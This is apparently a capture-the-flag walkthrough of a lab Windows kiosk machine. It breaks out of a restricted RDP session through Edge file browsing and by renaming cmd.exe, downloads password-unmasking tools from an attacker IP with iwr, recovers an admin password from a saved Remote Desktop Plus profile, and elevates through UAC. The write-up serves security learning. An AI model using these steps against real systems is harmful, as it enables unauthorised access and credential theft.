Overview

Escape is a Windows kiosk-style machine that starts with only RDP exposed. The initial access path is not a traditional remote shell, but a restricted desktop session where cmd and PowerShell are blocked. By using Microsoft Edge to browse the local file system, copying cmd.exe, and renaming the binary, we bypass the restriction and obtain a shell. From there, saved Remote Desktop Plus profile data leads to administrator credentials, and GUI access allows us to elevate through a UAC prompt.

Attack Chain

  • Enumerate the target and identify RDP on port 3389
  • Connect to the kiosk session as KioskUser0
  • Use Microsoft Edge to browse the local file system with file:///C:\
  • Discover Remote Desktop Plus profile data in C:\_admin
  • Copy cmd.exe into the user context and bypass restrictions by renaming it to msedge.exe
  • Launch PowerShell from the renamed command shell
  • Copy and import the Remote Desktop Plus profile file
  • Reveal the masked administrator password with a password unmasking tool
  • Use runas to start a PowerShell session as admin
  • Elevate through a GUI UAC prompt
  • Read the Administrator flag

Enumeration

Port Scanning

We start by defining the target and running a full TCP port scan to identify the exposed services.

export IP=10.10.114.170; export NAME=ESCAPE; echo $IP; echo $NAME; ping $IP -c 1

nmap --min-rate 4500 --max-rtt-timeout 1500ms $IP -Pn -p- -v -oA scans/nmap_allports_$NAME

ports=$(cat scans/nmap_allports_$NAME.nmap | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//); echo $ports

nmap $IP -p$ports -sC -sV -oA scans/nmap_initial_$NAME -v

The scan only identifies one open TCP port:

3389

nmap results

Findings

With only RDP (3389) exposed, the attack surface is narrow. This immediately suggests that the first step will likely involve interacting with the remote desktop environment rather than attacking a web service, SMB share, or Active Directory service.


RDP Access

Initial Connection

We begin by connecting to the target over RDP.

rdesktop $IP

rdp connection

The session presents a Windows login screen.

rdp login screen

The machine allows access as KioskUser0, so we connect again using xfreerdp3.

xfreerdp3 /u:KioskUser0 /v:$IP /cert:ignore

kiosk user rdp session

Kiosk Restrictions

Once logged in, the environment is heavily restricted. There is no normal start menu, and direct access to tools like cmd and PowerShell is blocked. However, pressing the Windows key still opens a limited start menu, and Microsoft Edge is available.

restricted start menu

Since Edge is available, we can try using it to browse the local file system. Windows allows local paths to be opened in the browser using the file:// URI scheme.

file:///C:\

This allows us to view the root of C:\ from within the browser.

edge browsing c drive


Local File Enumeration

_admin Directory

While browsing C:\, the _admin directory stands out as interesting.

admin directory

Inside the directory, we find a profiles.xml file associated with Remote Desktop Plus.

remote desktop plus profile file

The profile contains an encoded or encrypted password value.

JWqkl6IDfQxXXmiHIKIP8ca0G9XxnWQZgvtPgON2vWc=

At this stage, the value does not crack cleanly, but it tells us that saved connection data exists on the machine. We will return to this later once we have better local execution.


Foothold

Bypassing Binary Restrictions

To enumerate properly, we need a shell. Since Edge lets us browse the file system, we navigate to the Windows system directory and look for binaries we may be able to launch.

system32 browsing

Clicking cmd.exe does not execute it directly. Instead, the browser downloads a copy of the binary.

cmd downloaded

When we open the Downloads folder and try to run cmd.exe, Windows blocks execution with a restriction message.

cmd execution restricted

The translated message is:

This operation was canceled due to system restrictions. Please contact your system administrator.

This suggests that the restriction is likely based on the executable name or an application control rule targeting common administrative binaries. Since Microsoft Edge is allowed, we rename the downloaded copy of cmd.exe to msedge.exe.

When using the F2 shortcut to rename the file, we only rename it to msedge, because Windows already hides the .exe extension.

rename cmd to msedge

After renaming the binary, it launches successfully and gives us a command shell.

cmd shell opened

PowerShell Access

The cmd shell is useful, but limited. From the renamed shell, we start PowerShell with execution policy bypassed.

powershell -ep bypass

With PowerShell available, we can enumerate the file system more comfortably.

Get-ChildItem -Force

powershell child items

The user flag can now be read from the KioskUser0 profile.

user flag


Privilege Escalation

Remote Desktop Plus Profile Import

Earlier, we found profiles.xml for Remote Desktop Plus in C:\_admin. Since we now have command execution, we return to that path and run the Remote Desktop Plus application.

remote desktop plus binary

The application opens and provides an option to manage profiles.

manage profiles option

Inside the profile manager, there is an option to import a profile. However, the file picker only allows access to the C:\Users\KioskUser0\Downloads folder.

import profile limited path

To work around this, we copy the profile file from C:\_admin into the Downloads folder.

copy C:\_admin\profiles.xml C:\Users\kioskUser0\Downloads\

copy profiles xml

Now the file is visible in the import dialog.

profile visible for import

The import works, but when editing the profile, the password is only shown as masked bullets.

masked rdp plus password

Revealing the Masked Password

The first attempt is to use BulletsPassView, a NirSoft utility that can reveal passwords hidden behind bullet characters in some Windows applications.

We host the binary from our attacking machine and download it to the target.

iwr -uri http://10.8.6.99/BulletsPassView.exe -o C:\Users\kioskUser0\Downloads\BulletsPassView.exe

bullets pass view transfer

Running the binary detects an entry for Remote Desktop Plus.

bullets pass view rdp plus

BulletsPassView does not fully solve the issue in this case, so we switch to Kernel Password Unmask.

The same transfer approach is used.

iwr -uri http://10.8.6.99/KernelPasswordUnmask.exe -o C:\Users\kioskUser0\Downloads\KernelPasswordUnmask.exe

kernel password unmask transfer

We run KernelPasswordUnmask.exe.

kernel password unmask run

The tool opens and prompts us to switch back to the window containing the masked password.

kernel password unmask prompt

After returning to Remote Desktop Plus, the password is revealed.

unmasked rdp plus password

The recovered credentials are:

admin:Twisting3021

Shell as admin

Because we already have an interactive RDP session, we can use runas to start a new process as the admin user.

runas /user:admin powershell

runas admin powershell

A new PowerShell window opens as admin, but it does not yet have full elevated administrator privileges.

admin powershell limited

We check the admin user and confirm that it belongs to the Administrators group.

net user admin

admin user groups

Since the user is an administrator but the shell is not elevated, we need to pass through UAC.

GUI UAC Elevation

Because we have GUI access, we can trigger an elevated PowerShell process with Start-Process and the runas verb.

start-process powershell.exe -verb runas

start elevated powershell

The UAC password prompt appears. We enter the recovered admin password and click OK.

uac password prompt

A new elevated PowerShell window opens with full administrator privileges.

elevated administrator powershell

We confirm that the shell is now running with the expected elevated context.

administrator privileges confirmed

The Administrator flag can now be read.

administrator flag


Key Takeaways

Escape shows how a locked-down GUI environment can still expose dangerous paths when local applications and file-system browsing are available. Microsoft Edge provided a way to browse C:\, while a simple binary rename bypassed restrictions on cmd.exe. The most important escalation point was saved Remote Desktop Plus profile data: once imported, the masked password could be revealed with GUI password unmasking tools, allowing access to an administrator account and final elevation through UAC.